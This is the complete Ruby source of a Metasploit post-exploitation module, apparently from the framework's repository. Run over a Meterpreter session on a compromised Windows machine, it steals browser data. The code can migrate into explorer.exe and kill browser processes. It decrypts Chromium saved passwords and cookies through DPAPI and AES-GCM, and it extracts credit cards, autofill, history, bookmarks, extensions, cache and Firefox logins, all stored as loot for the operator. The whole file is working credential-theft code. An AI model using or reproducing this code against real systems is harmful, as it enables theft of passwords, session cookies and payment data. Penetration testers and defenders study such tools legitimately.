modules/post/windows/gather/enum_browsers.rb - master - githubmirror/metasploit-framework

modules/post/windows/gather/enum_browsers.rb
937 строк33 KB
adfoster-r7
Mark enum_chrome as superceded
30 окт 2024, 19:21
30 окт 2024, 19:215e217fb
require 'sqlite3'

class MetasploitModule < Msf::Post
  include Msf::Post::File
  include Msf::Post::Windows::UserProfiles

  IV_SIZE = 12
  TAG_SIZE = 16

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Advanced Browser Data Extraction for Chromium and Gecko Browsers',
        'Description' => %q{
          This post-exploitation module extracts sensitive browser data from both Chromium-based and Gecko-based browsers
          on the target system. It supports the decryption of passwords and cookies using Windows Data Protection API (DPAPI)
          and can extract additional data such as browsing history, keyword search history, download history, autofill data,
          credit card information, browser cache and installed extensions.
        },
        'License' => MSF_LICENSE,
        'Platform' => ['win'],
        'Arch' => [ ARCH_X64, ARCH_X86 ],
        'Targets' => [['Windows', {}]],
        'SessionTypes' => ['meterpreter'],
        'Author' => ['Alexander "xaitax" Hagenah'],
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      OptBool.new('KILL_BROWSER', [false, 'Kill browser processes before extracting data.', false]),
      OptBool.new('USER_MIGRATION', [false, 'Migrate to explorer.exe running under user context before extraction.', false]),
      OptString.new('BROWSER_TYPE', [true, 'Specify which browser to extract data from. Accepts "all" to process all browsers, "chromium" for Chromium-based browsers, "gecko" for Gecko-based browsers, or a specific browser name (e.g., "chrome", "edge", "firefox").', 'all']),
      OptBool.new('EXTRACT_CACHE', [false, 'Extract browser cache (may take a long time). It is recommended to set "KILL_BROWSER" to "true" for best results, as this prevents file access issues.', false])
    ])
  end

  def run
    if session.type != 'meterpreter'
      print_error('This module requires a meterpreter session.')
      return
    end

    user_account = session.sys.config.getuid

    if user_account.downcase.include?('nt authority\\system')
      if datastore['USER_MIGRATION']
        migrate_to_explorer
      else
        print_error('Session is running as SYSTEM. Use the Meterpreter migrate command or set USER_MIGRATION to true to switch to a user context.')
        return
      end
    end

    sysinfo = session.sys.config.sysinfo
    os = sysinfo['OS']
    architecture = sysinfo['Architecture']
    language = sysinfo['System Language']
    computer = sysinfo['Computer']

    user_profile = get_env('USERPROFILE')
    user_account = session.sys.config.getuid
    ip_address = session.sock.peerhost

    if user_profile.nil? || user_profile.empty?
      print_error('Could not determine the current user profile directory.')
      return
    end

    print_status("Targeting: #{user_account} (IP: #{ip_address})")
    print_status("System Information: #{computer} | OS: #{os} | Arch: #{architecture} | Lang: #{language}")
    print_status("Starting data extraction from user profile: #{user_profile}")
    print_status('')

    case datastore['BROWSER_TYPE'].downcase
    when 'chromium'
      process_chromium_browsers(user_profile)
    when 'gecko'
      process_gecko_browsers(user_profile)
    when 'all'
      process_chromium_browsers(user_profile)
      process_gecko_browsers(user_profile)
    else
      process_specific_browser(user_profile, datastore['BROWSER_TYPE'])
    end
  end

  def migrate_to_explorer
    current_pid = session.sys.process.getpid
    explorer_process = session.sys.process.get_processes.find { |p| p['name'].downcase == 'explorer.exe' }

    if explorer_process
      explorer_pid = explorer_process['pid']
      if explorer_pid == current_pid
        print_status("Already running in explorer.exe (PID: #{explorer_pid}). No need to migrate.")
        return
      end

      print_status("Found explorer.exe running with PID: #{explorer_pid}. Attempting migration.")

      begin
        session.core.migrate(explorer_pid)
        print_good("Successfully migrated to explorer.exe (PID: #{explorer_pid}).")
      rescue Rex::Post::Meterpreter::RequestError => e
        print_error("Failed to migrate to explorer.exe (PID: #{explorer_pid}). Error: #{e.message}")
      end
    else
      print_error('explorer.exe process not found. Migration aborted.')
    end
  end

  def chromium_browsers
    {
      'Microsoft\\Edge\\' => 'Microsoft Edge',
      'Google\\Chrome\\' => 'Google Chrome',
      'Opera Software\\Opera Stable' => 'Opera',
      'Iridium\\' => 'Iridium',
      'Chromium\\' => 'Chromium',
      'BraveSoftware\\Brave-Browser\\' => 'Brave',
      'CentBrowser\\' => 'CentBrowser',
      'Chedot\\' => 'Chedot',
      'Orbitum\\' => 'Orbitum',
      'Comodo\\Dragon\\' => 'Comodo Dragon',
      'Yandex\\YandexBrowser\\' => 'Yandex Browser',
      '7Star\\7Star\\' => '7Star',
      'Torch\\' => 'Torch',
      'MapleStudio\\ChromePlus\\' => 'ChromePlus',
      'Kometo\\' => 'Komet',
      'Amigo\\' => 'Amigo',
      'Sputnik\\Sputnik\\' => 'Sputnik',
      'CatalinaGroup\\Citrio\\' => 'Citrio',
      '360Chrome\\Chrome\\' => '360Chrome',
      'uCozMedia\\Uran\\' => 'Uran',
      'liebao\\' => 'Liebao',
      'Elements Browser\\' => 'Elements Browser',
      'Epic Privacy Browser\\' => 'Epic Privacy Browser',
      'CocCoc\\Browser\\' => 'CocCoc Browser',
      'Fenrir Inc\\Sleipnir5\\setting\\modules\\ChromiumViewer' => 'Sleipnir',
      'QIP Surf\\' => 'QIP Surf',
      'Coowon\\Coowon\\' => 'Coowon',
      'Vivaldi\\' => 'Vivaldi'
    }
  end

  def gecko_browsers
    {
      'Mozilla\\Firefox\\' => 'Mozilla Firefox',
      'Thunderbird\\' => 'Thunderbird',
      'Mozilla\\SeaMonkey\\' => 'SeaMonkey',
      'NETGATE Technologies\\BlackHawk\\' => 'BlackHawk',
      '8pecxstudios\\Cyberfox\\' => 'Cyberfox',
      'K-Meleon\\' => 'K-Meleon',
      'Mozilla\\icecat\\' => 'Icecat',
      'Moonchild Productions\\Pale Moon\\' => 'Pale Moon',
      'Comodo\\IceDragon\\' => 'Comodo IceDragon',
      'Waterfox\\' => 'Waterfox',
      'Postbox\\' => 'Postbox',
      'Flock\\Browser\\' => 'Flock Browser'
    }
  end

  def process_specific_browser(user_profile, browser_type)
    found = false
    browser_type_downcase = browser_type.downcase

    chromium_browsers.each do |path, name|
      next unless name.downcase.include?(browser_type_downcase)

      print_status("Processing Chromium-based browser: #{name}")
      process_chromium_browsers(user_profile, { path => name })
      found = true
      break
    end

    gecko_browsers.each do |path, name|
      next unless name.downcase.include?(browser_type_downcase)

      print_status("Processing Gecko-based browser: #{name}")
      process_gecko_browsers(user_profile, { path => name })
      found = true
      break
    end

    unless found
      print_error("No browser matching '#{browser_type}' found.")
    end
  end

  def process_chromium_browsers(user_profile, browsers = chromium_browsers)
    browsers.each do |path, name|
      if name == 'Opera'
        profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Default"
        local_state = "#{user_profile}\\AppData\\Roaming\\#{path}\\Local State"
      else
        profile_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Default"
        browser_version_path = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Last Version"
        local_state = "#{user_profile}\\AppData\\Local\\#{path}\\User Data\\Local State"
      end

      next unless directory?(profile_path)

      browser_version = get_chromium_version(browser_version_path)
      print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}")

      kill_browser_process(name) if datastore['KILL_BROWSER']

      if datastore['EXTRACT_CACHE']
        process_chromium_cache(profile_path, name)
      end

      encryption_key = get_chromium_encryption_key(local_state)
      extract_chromium_data(profile_path, encryption_key, name)
    end
  end

  def get_chromium_version(last_version_path)
    return nil unless file?(last_version_path)

    version = read_file(last_version_path).strip
    return version unless version.empty?

    nil
  end

  def process_gecko_browsers(user_profile, browsers = gecko_browsers)
    browsers.each do |path, name|
      profile_path = "#{user_profile}\\AppData\\Roaming\\#{path}\\Profiles"
      next unless directory?(profile_path)

      found_browser = false

      session.fs.dir.entries(profile_path).each do |profile_dir|
        next if profile_dir == '.' || profile_dir == '..'

        prefs_file = "#{profile_path}\\#{profile_dir}\\prefs.js"
        browser_version = get_gecko_version(prefs_file)

        unless found_browser
          print_good("Found #{name}#{browser_version ? " (Version: #{browser_version})" : ''}")
          found_browser = true
        end

        kill_browser_process(name) if datastore['KILL_BROWSER']

        if datastore['EXTRACT_CACHE']
          process_gecko_cache("#{profile_path}\\#{profile_dir}", name)
        end

        extract_gecko_data("#{profile_path}\\#{profile_dir}", name)
      end
    end
  end

  def get_gecko_version(prefs_file)
    return nil unless file?(prefs_file)

    version_line = read_file(prefs_file).lines.find { |line| line.include?('extensions.lastAppVersion') }

    if version_line && version_line =~ /"extensions\.lastAppVersion",\s*"(\d+\.\d+\.\d+)"/
      return Regexp.last_match(1)
    end

    nil
  end

  def kill_browser_process(browser)
    browser_process_names = {
      'Microsoft Edge' => 'msedge.exe',
      'Google Chrome' => 'chrome.exe',
      'Opera' => 'opera.exe',
      'Iridium' => 'iridium.exe',
      'Chromium' => 'chromium.exe',
      'Brave' => 'brave.exe',
      'CentBrowser' => 'centbrowser.exe',
      'Chedot' => 'chedot.exe',
      'Orbitum' => 'orbitum.exe',
      'Comodo Dragon' => 'dragon.exe',
      'Yandex Browser' => 'browser.exe',
      '7Star' => '7star.exe',
      'Torch' => 'torch.exe',
      'ChromePlus' => 'chromeplus.exe',
      'Komet' => 'komet.exe',
      'Amigo' => 'amigo.exe',
      'Sputnik' => 'sputnik.exe',
      'Citrio' => 'citrio.exe',
      '360Chrome' => '360chrome.exe',
      'Uran' => 'uran.exe',
      'Liebao' => 'liebao.exe',
      'Elements Browser' =>
      'elementsbrowser.exe',
      'Epic Privacy Browser' => 'epic.exe',
      'CocCoc Browser' => 'browser.exe',
      'Sleipnir' => 'sleipnir.exe',
      'QIP Surf' => 'qipsurf.exe',
      'Coowon' => 'coowon.exe',
      'Vivaldi' => 'vivaldi.exe'
    }

    process_name = browser_process_names[browser]
    return unless process_name

    session.sys.process.get_processes.each do |process|
      next unless process['name'].downcase == process_name.downcase

      begin
        session.sys.process.kill(process['pid'])
      rescue Rex::Post::Meterpreter::RequestError
        next
      end
    end

    sleep(5)
  end

  def decrypt_chromium_data(encrypted_data)
    vprint_status('Starting DPAPI decryption process.')
    begin
      mem = session.railgun.kernel32.LocalAlloc(0, encrypted_data.length)['return']
      raise 'Memory allocation failed.' if mem == 0

      session.railgun.memwrite(mem, encrypted_data)

      if session.arch == ARCH_X86
        inout_fmt = 'V2'
      elsif session.arch == ARCH_X64
        inout_fmt = 'Q2'
      else
        fail_with(Failure::NoTarget, "Unsupported architecture: #{session.arch}")
      end

      pdatain = [encrypted_data.length, mem].pack(inout_fmt)
      ret = session.railgun.crypt32.CryptUnprotectData(
        pdatain, nil, nil, nil, nil, 0, 2048
      )
      len, addr = ret['pDataOut'].unpack(inout_fmt)
      decrypted_data = len == 0 ? nil : session.railgun.memread(addr, len)

      vprint_good('Decryption successful.')
      return decrypted_data.strip
    rescue StandardError => e
      vprint_error("Error during DPAPI decryption: #{e.message}")
      return nil
    ensure
      session.railgun.kernel32.LocalFree(mem) if mem != 0
      session.railgun.kernel32.LocalFree(addr) if addr != 0
    end
  end

  def get_chromium_encryption_key(local_state_path)
    vprint_status("Getting encryption key from: #{local_state_path}")
    if file?(local_state_path)
      local_state = read_file(local_state_path)
      json_state = begin
        JSON.parse(local_state)
      rescue StandardError
        nil
      end
      if json_state.nil?
        print_error('Failed to parse JSON from Local State file.')
        return nil
      end

      if json_state['os_crypt'] && json_state['os_crypt']['encrypted_key']
        encrypted_key = json_state['os_crypt']['encrypted_key']
        encrypted_key_bin = begin
          Rex::Text.decode_base64(encrypted_key)[5..]
        rescue StandardError
          nil
        end
        if encrypted_key_bin.nil?
          print_error('Failed to Base64 decode the encrypted key.')
          return nil
        end

        vprint_status("Encrypted key (Base64-decoded, hex): #{encrypted_key_bin.unpack('H*').first}")
        decrypted_key = decrypt_chromium_data(encrypted_key_bin)

        if decrypted_key.nil? || decrypted_key.length != 32
          vprint_error("Decrypted key is not 32 bytes: #{decrypted_key.nil? ? 'nil' : decrypted_key.length} bytes")
          if decrypted_key.length == 31
            vprint_status('Decrypted key is 31 bytes, attempting to pad key for decryption.')
            decrypted_key += "\x00"
          else
            return nil
          end
        end
        vprint_good("Decrypted key (hex): #{decrypted_key.unpack('H*').first}")
        return decrypted_key
      else
        print_error('os_crypt or encrypted_key not found in Local State.')
        return nil
      end
    else
      print_error("Local State file not found at: #{local_state_path}")
      return nil
    end
  end

  def decrypt_chromium_password(encrypted_password, key)
    @app_bound_encryption_detected ||= false
    @password_decryption_failed ||= false

    # Check for the "v20" prefix that indicates App-Bound encryption, which can't be decrypted yet.
    # https://security.googleblog.com/2024/07/improving-security-of-chrome-cookies-on.html
    if encrypted_password[0, 3] == 'v20'
      unless @app_bound_encryption_detected
        vprint_status('Detected entries using App-Bound encryption (v20). These entries will not be decrypted.')
        @app_bound_encryption_detected = true
      end
      return nil
    end

    if encrypted_password.nil? || encrypted_password.length < (IV_SIZE + TAG_SIZE + 3)
      vprint_error('Invalid encrypted password length.')
      return nil
    end

    iv = encrypted_password[3, IV_SIZE]
    ciphertext = encrypted_password[IV_SIZE + 3...-TAG_SIZE]
    tag = encrypted_password[-TAG_SIZE..]

    if iv.nil? || iv.length != IV_SIZE
      vprint_error("Invalid IV: expected #{IV_SIZE} bytes, got #{iv.nil? ? 'nil' : iv.length} bytes")
      return nil
    end

    begin
      aes = OpenSSL::Cipher.new('aes-256-gcm')
      aes.decrypt
      aes.key = key
      aes.iv = iv
      aes.auth_tag = tag
      decrypted_password = aes.update(ciphertext) + aes.final
      return decrypted_password
    rescue OpenSSL::Cipher::CipherError
      unless @password_decryption_failed
        vprint_status('Password decryption failed for one or more entries. These entries could not be decrypted.')
        @password_decryption_failed = true
      end
      return nil
    end
  end

  def extract_chromium_data(profile_path, encryption_key, browser)
    return print_error("Profile path #{profile_path} not found.") unless directory?(profile_path)

    process_chromium_logins(profile_path, encryption_key, browser)
    process_chromium_cookies(profile_path, encryption_key, browser)
    process_chromium_credit_cards(profile_path, encryption_key, browser)
    process_chromium_download_history(profile_path, browser)
    process_chromium_autofill_data(profile_path, browser)
    process_chromium_keyword_search_history(profile_path, browser)
    process_chromium_browsing_history(profile_path, browser)
    process_chromium_bookmarks(profile_path, browser)
    process_chromium_extensions(profile_path, browser)
  end

  def process_chromium_logins(profile_path, encryption_key, browser)
    login_data_path = "#{profile_path}\\Login Data"
    if file?(login_data_path)
      extract_sql_data(login_data_path, 'SELECT origin_url, username_value, password_value FROM logins', 'Passwords', browser, encryption_key)
    else
      vprint_error("Passwords not found at #{login_data_path}")
    end
  end

  def process_chromium_cookies(profile_path, encryption_key, browser)
    cookies_path = "#{profile_path}\\Network\\Cookies"
    if file?(cookies_path)
      begin
        extract_sql_data(cookies_path, 'SELECT host_key, name, path, encrypted_value FROM cookies', 'Cookies', browser, encryption_key)
      rescue StandardError => e
        if e.message.include?('core_channel_open')
          print_error('└ Cannot access Cookies. File in use by another process.')
        else
          print_error("└ An error occurred while extracting cookies: #{e.message}")
        end
      end
    else
      vprint_error("└ Cookies not found at #{cookies_path}")
    end
  end

  def process_chromium_credit_cards(profile_path, encryption_key, browser)
    credit_card_data_path = "#{profile_path}\\Web Data"
    if file?(credit_card_data_path)
      extract_sql_data(credit_card_data_path, 'SELECT * FROM credit_cards', 'Credit Cards', browser, encryption_key)
    else
      vprint_error("Credit Cards not found at #{credit_card_data_path}")
    end
  end

  def process_chromium_download_history(profile_path, browser)
    download_history_path = "#{profile_path}\\History"
    if file?(download_history_path)
      extract_sql_data(download_history_path, 'SELECT * FROM downloads', 'Download History', browser)
    else
      vprint_error("Download History not found at #{download_history_path}")
    end
  end

  def process_chromium_autofill_data(profile_path, browser)
    autofill_data_path = "#{profile_path}\\Web Data"
    if file?(autofill_data_path)
      extract_sql_data(autofill_data_path, 'SELECT * FROM autofill', 'Autofill Data', browser)
    else
      vprint_error("Autofill data not found at #{autofill_data_path}")
    end
  end

  def process_chromium_keyword_search_history(profile_path, browser)
    keyword_search_history_path = "#{profile_path}\\History"
    if file?(keyword_search_history_path)
      extract_sql_data(keyword_search_history_path, 'SELECT term FROM keyword_search_terms', 'Keyword Search History', browser)
    else
      vprint_error("Keyword Search History not found at #{keyword_search_history_path}")
    end
  end

  def process_chromium_browsing_history(profile_path, browser)
    browsing_history_path = "#{profile_path}\\History"
    if file?(browsing_history_path)
      extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_time FROM urls', 'Browsing History', browser)
    else
      vprint_error("Browsing History not found at #{browsing_history_path}")
    end
  end

  def process_chromium_bookmarks(profile_path, browser)
    bookmarks_path = "#{profile_path}\\Bookmarks"
    return unless file?(bookmarks_path)

    bookmarks_data = read_file(bookmarks_path)
    bookmarks_json = JSON.parse(bookmarks_data)

    bookmarks = []
    if bookmarks_json['roots']['bookmark_bar']
      traverse_and_collect_bookmarks(bookmarks_json['roots']['bookmark_bar'], bookmarks)
    end
    if bookmarks_json['roots']['other']
      traverse_and_collect_bookmarks(bookmarks_json['roots']['other'], bookmarks)
    end

    if bookmarks.any?
      browser_clean = browser.gsub('\\', '_').chomp('_')
      timestamp = Time.now.strftime('%Y%m%d%H%M')
      ip = session.sock.peerhost
      bookmark_entries = JSON.pretty_generate(bookmarks)
      file_name = store_loot("#{browser_clean}_Bookmarks", 'application/json', session, bookmark_entries, "#{timestamp}_#{ip}_#{browser_clean}_Bookmarks.json", "#{browser_clean} Bookmarks")

      print_good("└ Bookmarks extracted to #{file_name} (#{bookmarks.length} entries)")
    else
      vprint_error("No bookmarks found for #{browser}.")
    end
  end

  def traverse_and_collect_bookmarks(bookmark_node, bookmarks)
    if bookmark_node['children']
      bookmark_node['children'].each do |child|
        if child['type'] == 'url'
          bookmarks << { name: child['name'], url: child['url'] }
        elsif child['type'] == 'folder' && child['children']
          traverse_and_collect_bookmarks(child, bookmarks)
        end
      end
    end
  end

  def process_chromium_extensions(profile_path, browser)
    extensions_dir = "#{profile_path}\\Extensions\\"
    return unless directory?(extensions_dir)

    extensions = []
    session.fs.dir.entries(extensions_dir).each do |extension_id|
      extension_path = "#{extensions_dir}\\#{extension_id}"
      next unless directory?(extension_path)

      session.fs.dir.entries(extension_path).each do |version_folder|
        next if version_folder == '.' || version_folder == '..'

        manifest_path = "#{extension_path}\\#{version_folder}\\manifest.json"
        next unless file?(manifest_path)

        manifest_data = read_file(manifest_path)
        manifest_json = JSON.parse(manifest_data)

        extension_name = manifest_json['name']
        extension_version = manifest_json['version']

        if extension_name.start_with?('__MSG_')
          extension_name = resolve_chromium_extension_name(extension_path, extension_name, version_folder)
        end

        extensions << { 'name' => extension_name, 'version' => extension_version }
      end
    end

    if extensions.any?
      browser_clean = browser.gsub('\\', '_').chomp('_')
      timestamp = Time.now.strftime('%Y%m%d%H%M')
      ip = session.sock.peerhost
      file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions")
      print_good("└ Extensions extracted to #{file_name} (#{extensions.count} entries)")
    else
      vprint_error("No extensions found for #{browser}.")
    end
  end

  def resolve_chromium_extension_name(extension_path, name_key, version_folder)
    resolved_key = name_key.gsub('__MSG_', '').gsub('__', '')

    locales_dir = "#{extension_path}\\#{version_folder}\\_locales"
    unless directory?(locales_dir)
      return name_key
    end

    english_messages_path = "#{locales_dir}\\en\\messages.json"
    if file?(english_messages_path)
      messages_data = read_file(english_messages_path)
      messages_json = JSON.parse(messages_data)

      messages_json.each do |key, value|
        if key.casecmp?(resolved_key) && value['message']
          return value['message']
        end
      end
      return name_key
    end

    session.fs.dir.entries(locales_dir).each do |locale_folder|
      next if locale_folder == '.' || locale_folder == '..' || locale_folder == 'en'

      messages_path = "#{locales_dir}\\#{locale_folder}\\messages.json"
      next unless file?(messages_path)

      messages_data = read_file(messages_path)
      messages_json = JSON.parse(messages_data)

      messages_json.each do |key, value|
        if key.casecmp?(resolved_key) && value['message']
          return value['message']
        end
      end
    end

    return name_key
  end

  def process_chromium_cache(profile_path, browser)
    cache_dir = "#{profile_path}\\Cache\\"
    return unless directory?(cache_dir)

    total_size = 0
    file_count = 0
    files_to_zip = []

    session.fs.dir.foreach(cache_dir) do |subdir|
      next if subdir == '.' || subdir == '..'

      subdir_path = "#{cache_dir}\\#{subdir}"

      if directory?(subdir_path)
        session.fs.dir.foreach(subdir_path) do |file|
          next if file == '.' || file == '..'

          file_path = "#{subdir_path}\\#{file}"

          if file?(file_path)
            file_stat = session.fs.file.stat(file_path)
            file_size = file_stat.stathash['st_size']
            total_size += file_size
            file_count += 1
            files_to_zip << file_path
          end
        end
      end
    end

    print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB")

    if file_count > 0
      temp_dir = session.fs.file.expand_path('%TEMP%')
      random_name = Rex::Text.rand_text_alpha(8)
      zip_file_path = "#{temp_dir}\\#{random_name}.zip"

      zip = Rex::Zip::Archive.new
      progress_interval = (file_count / 10.0).ceil

      files_to_zip.each_with_index do |file, index|
        file_content = read_file(file)
        zip.add_file(file, file_content) if file_content

        if (index + 1) % progress_interval == 0 || index == file_count - 1
          progress_percent = ((index + 1) * 100 / file_count).to_i
          print_status("Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)")
        end
      end

      write_file(zip_file_path, zip.pack)
      print_status("Cache for #{browser} zipped to: #{zip_file_path}")

      browser_clean = browser.gsub('\\', '_').chomp('_')
      timestamp = Time.now.strftime('%Y%m%d%H%M')
      ip = session.sock.peerhost
      cache_local_path = store_loot(
        "#{browser_clean}_Cache",
        'application/zip',
        session,
        read_file(zip_file_path),
        "#{timestamp}_#{ip}_#{browser_clean}_Cache.zip",
        "#{browser_clean} Cache"
      )

      file_size = ::File.size(cache_local_path)
      print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2

      session.fs.file.rm(zip_file_path)
    else
      vprint_status("No Cache files found for #{browser}.")
    end
  end

  def extract_gecko_data(profile_path, browser)
    process_gecko_logins(profile_path, browser)
    process_gecko_cookies(profile_path, browser)
    process_gecko_download_history(profile_path, browser)
    process_gecko_keyword_search_history(profile_path, browser)
    process_gecko_browsing_history(profile_path, browser)
    process_gecko_bookmarks(profile_path, browser)
    process_gecko_extensions(profile_path, browser)
  end

  def process_gecko_logins(profile_path, browser)
    logins_path = "#{profile_path}\\logins.json"
    return unless file?(logins_path)

    logins_data = read_file(logins_path)
    logins_json = JSON.parse(logins_data)

    if logins_json['logins'].any?
      browser_clean = browser.gsub('\\', '_').chomp('_')
      timestamp = Time.now.strftime('%Y%m%d%H%M')
      ip = session.sock.peerhost
      file_name = store_loot("#{browser_clean}_Passwords", 'application/json', session, "#{JSON.pretty_generate(logins_json)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Passwords.json", "#{browser_clean} Passwords")

      print_good("└ Passwords extracted to #{file_name} (#{logins_json['logins'].length} entries)")
    else
      vprint_error("└ No passwords found for #{browser}.")
    end
  end

  def process_gecko_cookies(profile_path, browser)
    cookies_path = "#{profile_path}\\cookies.sqlite"
    if file?(cookies_path)
      extract_sql_data(cookies_path, 'SELECT host, name, path, value, expiry FROM moz_cookies', 'Cookies', browser)
    else
      vprint_error("└ Cookies not found at #{cookies_path}")
    end
  end

  def process_gecko_download_history(profile_path, browser)
    download_history_path = "#{profile_path}\\places.sqlite"
    if file?(download_history_path)
      extract_sql_data(download_history_path, 'SELECT place_id, GROUP_CONCAT(content), url, dateAdded FROM (SELECT * FROM moz_annos INNER JOIN moz_places ON moz_annos.place_id=moz_places.id) t GROUP BY place_id', 'Download History', browser)
    else
      vprint_error("└ Download History not found at #{download_history_path}")
    end
  end

  def process_gecko_keyword_search_history(profile_path, browser)
    keyword_search_history_path = "#{profile_path}\\formhistory.sqlite"
    if file?(keyword_search_history_path)
      extract_sql_data(keyword_search_history_path, 'SELECT value FROM moz_formhistory', 'Keyword Search History', browser)
    else
      vprint_error("└ Keyword Search History not found at #{keyword_search_history_path}")
    end
  end

  def process_gecko_browsing_history(profile_path, browser)
    browsing_history_path = "#{profile_path}\\places.sqlite"
    if file?(browsing_history_path)
      extract_sql_data(browsing_history_path, 'SELECT url, title, visit_count, last_visit_date FROM moz_places', 'Browsing History', browser)
    else
      vprint_error("└ Browsing History not found at #{browsing_history_path}")
    end
  end

  def process_gecko_bookmarks(profile_path, browser)
    bookmarks_path = "#{profile_path}\\places.sqlite"
    if file?(bookmarks_path)
      extract_sql_data(bookmarks_path, 'SELECT moz_bookmarks.title AS title, moz_places.url AS url FROM moz_bookmarks JOIN moz_places ON moz_bookmarks.fk = moz_places.id', 'Bookmarks', browser)
    else
      vprint_error("└ Bookmarks not found at #{bookmarks_path}")
    end
  end

  def process_gecko_extensions(profile_path, browser)
    addons_path = "#{profile_path}\\addons.json"
    return unless file?(addons_path)

    addons_data = read_file(addons_path)
    addons_json = JSON.parse(addons_data)

    extensions = []

    if addons_json['addons']
      addons_json['addons'].each do |addon|
        extension_name = addon['name']
        extension_version = addon['version']
        extensions << { 'name' => extension_name, 'version' => extension_version }
      end
    end

    if extensions.any?
      browser_clean = browser.gsub('\\', '_').chomp('_')
      timestamp = Time.now.strftime('%Y%m%d%H%M')
      ip = session.sock.peerhost
      file_name = store_loot("#{browser_clean}_Extensions", 'application/json', session, "#{JSON.pretty_generate(extensions)}\n", "#{timestamp}_#{ip}_#{browser_clean}_Extensions.json", "#{browser_clean} Extensions")

      print_good("└ Extensions extracted to #{file_name} (#{extensions.length} entries)")
    else
      vprint_error("└ No extensions found for #{browser}.")
    end
  end

  def process_gecko_cache(profile_path, browser)
    cache_dir = "#{profile_path.gsub('Roaming', 'Local')}\\cache2\\entries"
    return unless directory?(cache_dir)

    total_size = 0
    file_count = 0
    files_to_zip = []

    session.fs.dir.foreach(cache_dir) do |file|
      next if file == '.' || file == '..'

      file_path = "#{cache_dir}\\#{file}"

      if file?(file_path)
        file_stat = session.fs.file.stat(file_path)
        file_size = file_stat.stathash['st_size']
        total_size += file_size
        file_count += 1
        files_to_zip << file_path
      end
    end

    print_status("#{file_count} cache files found for #{browser}, total size: #{total_size / 1024} KB")

    if file_count > 0
      temp_dir = session.fs.file.expand_path('%TEMP%')
      random_name = Rex::Text.rand_text_alpha(8)
      zip_file_path = "#{temp_dir}\\#{random_name}.zip"

      zip = Rex::Zip::Archive.new
      progress_interval = (file_count / 10.0).ceil

      files_to_zip.each_with_index do |file, index|
        file_content = read_file(file)
        zip.add_file(file, file_content) if file_content

        if (index + 1) % progress_interval == 0 || index == file_count - 1
          progress_percent = ((index + 1) * 100 / file_count).to_i
          print_status("└ Zipping progress: #{progress_percent}% (#{index + 1}/#{file_count} files processed)")
        end
      end

      write_file(zip_file_path, zip.pack)
      print_status("└ Cache for #{browser} zipped to: #{zip_file_path}")

      browser_clean = browser.gsub('\\', '_').chomp('_')
      timestamp = Time.now.strftime('%Y%m%d%H%M')
      ip = session.sock.peerhost
      cache_local_path = store_loot(
        "#{browser_clean}_Cache",
        'application/zip',
        session,
        read_file(zip_file_path),
        "#{timestamp}_#{ip}_#{browser_clean}_Cache.zip",
        "#{browser_clean} Cache"
      )

      file_size = ::File.size(cache_local_path)
      print_good("└ Cache extracted to #{cache_local_path} (#{file_size} bytes)") if file_size > 2

      session.fs.file.rm(zip_file_path)
    else
      vprint_status("└ No Cache files found for #{browser}.")
    end
  end

  def extract_sql_data(db_path, query, data_type, browser, encryption_key = nil)
    if file?(db_path)
      db_local_path = "#{Rex::Text.rand_text_alpha(8, 12)}.db"
      session.fs.file.download_file(db_local_path, db_path)

      begin
        columns, *result = SQLite3::Database.open(db_local_path) do |db|
          db.execute2(query)
        end

        if encryption_key
          result.each do |row|
            next unless row[-1]

            if data_type == 'Cookies' && row[-1].length >= (IV_SIZE + TAG_SIZE + 3)
              row[-1] = decrypt_chromium_password(row[-1], encryption_key)
            elsif data_type == 'Passwords' && row[2].length >= (IV_SIZE + TAG_SIZE + 3)
              row[2] = decrypt_chromium_password(row[2], encryption_key)
            end
          end
        end

        if result.any?
          browser_clean = browser.gsub('\\', '_').chomp('_')
          timestamp = Time.now.strftime('%Y%m%d%H%M')
          ip = session.sock.peerhost
          result = result.map { |row| columns.zip(row).to_h }
          data = "#{JSON.pretty_generate(result)}\n"
          file_name = store_loot("#{browser_clean}_#{data_type}", 'application/json', session, data, "#{timestamp}_#{ip}_#{browser_clean}_#{data_type}.json", "#{browser_clean} #{data_type.capitalize}")

          print_good("└ #{data_type.capitalize} extracted to #{file_name} (#{result.length} entries)")
        else
          vprint_error("└ #{data_type.capitalize} empty")
        end
      ensure
        ::File.delete(db_local_path) if ::File.exist?(db_local_path)
      end
    end
  end

end